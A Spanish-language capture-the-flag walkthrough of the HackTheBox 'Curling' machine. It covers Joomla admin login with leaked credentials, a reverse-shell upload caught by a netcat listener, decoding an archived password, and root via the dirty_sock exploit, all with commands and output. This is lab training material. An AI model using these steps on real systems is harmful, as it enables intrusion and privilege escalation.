Curling es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Curling 10.10.10.150 a /etc/hosts como curling.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# Nmap 7.70 scan initiated Fri Feb 12 13:32:43 2021 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.150 Nmap scan report for 10.10.10.150 Host is up (0.048s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Feb 12 13:33:33 2021 -- 1 IP address (1 host up) scanned in 50.29 seconds |
Obtenemos sólo un portal web en el puerto 80 para comenzar el escaneo así que vamos a partir en ese punto.
Enumeracion
Accedemos en primer lugar al puerto 80 y encontramos el siguiente portal web:
A simple vista no vemos mucha información útil, así que revisamos el código fuente y encontramos un comentario casi al final de la página:
1 |
<!-- secret.txt --> |
Parece indicar que existe un fichero así que tratamos de obtener el mismo en el navegador cuyo contenido es el siguiente:
1 |
Q3VybGluZzIwMTgh |
Parece un código en base64, así que decodificamos el mismo y obtenemos lo que parece ser una password:
1 2 |
$ echo "Q3VybGluZzIwMTgh"|base64 -d Curling2018! |
Tenemos una password, pero necesitaremos también un usuario si queremos poder hacer algo con ello, así que volvemos al portal y encontramos un nombre de usuario en el siguiente texto:
1 2 |
<p>Hey this is the first post on this amazing website! Stay tuned for more amazing content! curling2018 for the win!</p> <p>- Floris</p> |
Indica que es el primer post del sitio web y que el autor del mismo es el usuario Floris, así que vamos a loguearnos con este usuario y la clave que obtuvimos anteriormente:
Y bingo!, estamos dentro, además observamos en el bloque de login que somos “Super User” por lo que tenemos permisos elevados en el portal.
Llegados a este punto parece que no podemos ver mucho más así que vamos a lanzar gobuster con la idea de encontrar algún directorio desconocido hasta el momento
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ gobuster dir -u http://10.10.10.150 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.150 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2021/02/12 13:39:29 Starting gobuster =============================================================== /images (Status: 301) /media (Status: 301) /templates (Status: 301) /modules (Status: 301) /bin (Status: 301) /plugins (Status: 301) /includes (Status: 301) /language (Status: 301) /components (Status: 301) /cache (Status: 301) /libraries (Status: 301) /tmp (Status: 301) /layouts (Status: 301) /administrator (Status: 301) /cli (Status: 301) /server-status (Status: 403) =============================================================== 2021/02/12 13:58:32 Finished =============================================================== |
Y observamos, entre otras, una dirección muy interesante bajo la uri /administrator, así que vamos a ella y observamos el panel de login del cms joomla:
Ahora nos queda probar las mismas claves que utilizamos en la página principal del portal y acceder al panel de administrador del sitio:
Hemos conseguido acceder, así que el siguiente paso, será tratar de subir una reverse shell al mismo con la idea de ganar acceso a la máquina.
Nos iremos a la sección de Extensions -> templates
Y editaremos una de ellas, en nuestro caso lo hemos realizado sobre el template beef
Y ahora subiremos nuestra shell, que en nuestro caso, hemos utilizado la reverse shell de pentestmonkeys.
Una vez subida, accedemos a la misma a través del navegador, en nuestro caso en la url siguiente
1 |
http://10.10.10.150/templates/beez3/shell.php |
Y obtendremos acceso como www-data en nuestra escucha en netcat
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.150] 38198 Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 12:52:32 up 16 min, 0 users, load average: 0.00, 0.03, 0.04 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Revisamos la máquina y encontramos un fichero interesante en la home del usuario floris:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ cd /home $ ls floris $ ls -l total 4 drwxr-xr-x 6 floris floris 4096 May 22 2018 floris $ cd floris $ ls -l total 12 drwxr-x--- 2 root floris 4096 May 22 2018 admin-area -rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup -rw-r----- 1 floris floris 33 May 22 2018 user.txt $ cat password_backup 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. 000000f0: 819b bb48 ...H $ file password_backup password_backup: ASCII text $ |
Nos descargaremos el fichero en nuestra máquina y trataremos de hacerle el reverse al código hex que encontramos en el fichero
1 |
$ xxd -r password_backup > pw_backup |
Obteniendo un fichero comprimido con bzip2
1 2 |
$ file pw_backup pw_backup: bzip2 compressed data, block size = 900k |
Descomprimimos el mismo y obtendremos un fichero gzip
1 2 3 4 |
$ bzip2 -d pw_backup bzip2: Can't guess original name for pw_backup -- using pw_backup.out $ file pw_backup.out pw_backup.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141 |
Renombraremos el mismo a .gz, y lo descomprimimos, obteniendo otro fichero bzip2
1 2 3 4 |
$ mv pw_backup.out pw_backup.out.gz $ gzip -d pw_backup.out.gz $ file pw_backup.out pw_backup.out: bzip2 compressed data, block size = 900k |
Descomprimimos de nuevo el mismo, obteniendo en este caso un fichero tar
1 2 3 4 |
$ bzip2 -d pw_backup.out bzip2: Can't guess original name for pw_backup.out -- using pw_backup.out.out $ file pw_backup.out.out pw_backup.out.out: POSIX tar archive (GNU) |
Renombramos el mismo y lo descomprimimos obteniendo un fichero txt con una password
1 2 3 4 |
$ mv pw_backup.out.out pw_backup.tar $ tar xf pw_backup.tar $ cat password.txt 5d<wdCbdZu)|hChXll |
Ahora nos queda probar el acceso por ssh con el usuario floris y la clave obtenida
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ ssh floris@10.10.10.150 floris@10.10.10.150's password: Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Feb 12 13:05:32 UTC 2021 System load: 0.0 Processes: 172 Usage of /: 46.4% of 9.78GB Users logged in: 0 Memory usage: 25% IP address for ens33: 10.10.10.150 Swap usage: 0% 0 packages can be updated. 0 updates are security updates. Last login: Mon May 28 17:00:48 2018 from 192.168.1.71 floris@curling:~$ id uid=1000(floris) gid=1004(floris) groups=1004(floris) |
Obteniendo la flag de user
Una vez obtenido el acceso con el usuario floris, nos queda ir a la home del mismo a conseguir nuestra flag de user
1 2 3 4 5 6 7 8 |
floris@curling:~$ ls -l total 12 drwxr-x--- 2 root floris 4096 May 22 2018 admin-area -rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup -rw-r----- 1 floris floris 33 May 22 2018 user.txt floris@curling:~$ cat user.txt 6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxb floris@curling:~$ |
Escalado de privilegios
Ahora para el escalado, revisamos en primer lugar si el usuario dispone de algún permiso como root, pero sin éxito
1 2 3 |
floris@curling:~$ sudo -l [sudo] password for floris: Sorry, user floris may not run sudo on curling. |
Así que enumeramos el sistema, posibles procesos y encontramos un directorio interesante en la home de este usuario
1 2 3 4 5 6 |
floris@curling:~/admin-area$ ll total 28 drwxr-x--- 2 root floris 4096 May 22 2018 ./ drwxr-xr-x 6 floris floris 4096 May 22 2018 ../ -rw-rw---- 1 root floris 25 Feb 12 13:07 input -rw-rw---- 1 root floris 14236 Feb 12 13:07 report |
En el cual vemos dos ficheros, en primer lugar el fichero input incluye una variable url
1 2 |
floris@curling:~/admin-area$ cat input url = "http://127.0.0.1" |
Y el fichero report guarda el resultado de la petición a la url indicada en el fichero anterior.
Realizamos varias pruebas y comprobamos los permisos y descubrimos que el proceso encargado está siendo ejecutado por el usuario root, por lo que puede ser nuestra forma de escalar privilegios.
Realizamos unas búsquedas más y encontramos que el sistema es vulnerable a CVE-2019-7304 conocida como dirty-sock, así que nos descargamos el exploit en github y lo subimos a la máquina.
A continuación ejecutaremos nuestro exploit obteniendo el siguiente resultado
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
floris@curling:~/admin-area$ python3 dirty_sockv2.py ___ _ ____ ___ _ _ ____ ____ ____ _ _ | \ | |__/ | \_/ [__ | | | |_/ |__/ | | \ | | ___ ___] |__| |___ | \_ (version 2) //=========[]==========================================\\ || R&D || initstring (@init_string) || || Source || https://github.com/initstring/dirty_sock || || Details || https://initblog.com/2019/dirty-sock || \\=========[]==========================================// [+] Slipped dirty sock on random socket file: /tmp/lsldogexsi;uid=0; [+] Binding to socket file... [+] Connecting to snapd API... [+] Deleting trojan snap (and sleeping 5 seconds)... [+] Installing the trojan snap (and sleeping 8 seconds)... [+] Deleting trojan snap (and sleeping 5 seconds)... ******************** Success! You can now `su` to the following account and use sudo: username: dirty_sock password: dirty_sock ******************** |
La ejecución ha sido un éxito así que escalaremos a este usuario
1 2 3 4 |
floris@curling:~/admin-area$ su dirty_sock Password: To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. |
Y posteriormente a root
1 2 3 4 |
irty_sock@curling:/home/floris/admin-area$ sudo su [sudo] password for dirty_sock: root@curling:/home/floris/admin-area# id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Ahora que ya somos root, sólo nos queda ir a la home del usuario y conseguir nuestra flag
1 2 3 4 5 |
root@curling:/home/floris/admin-area# root@curling:/home/floris/admin-area# cd /root root@curling:~# cat root.txt 8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx root@curling:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace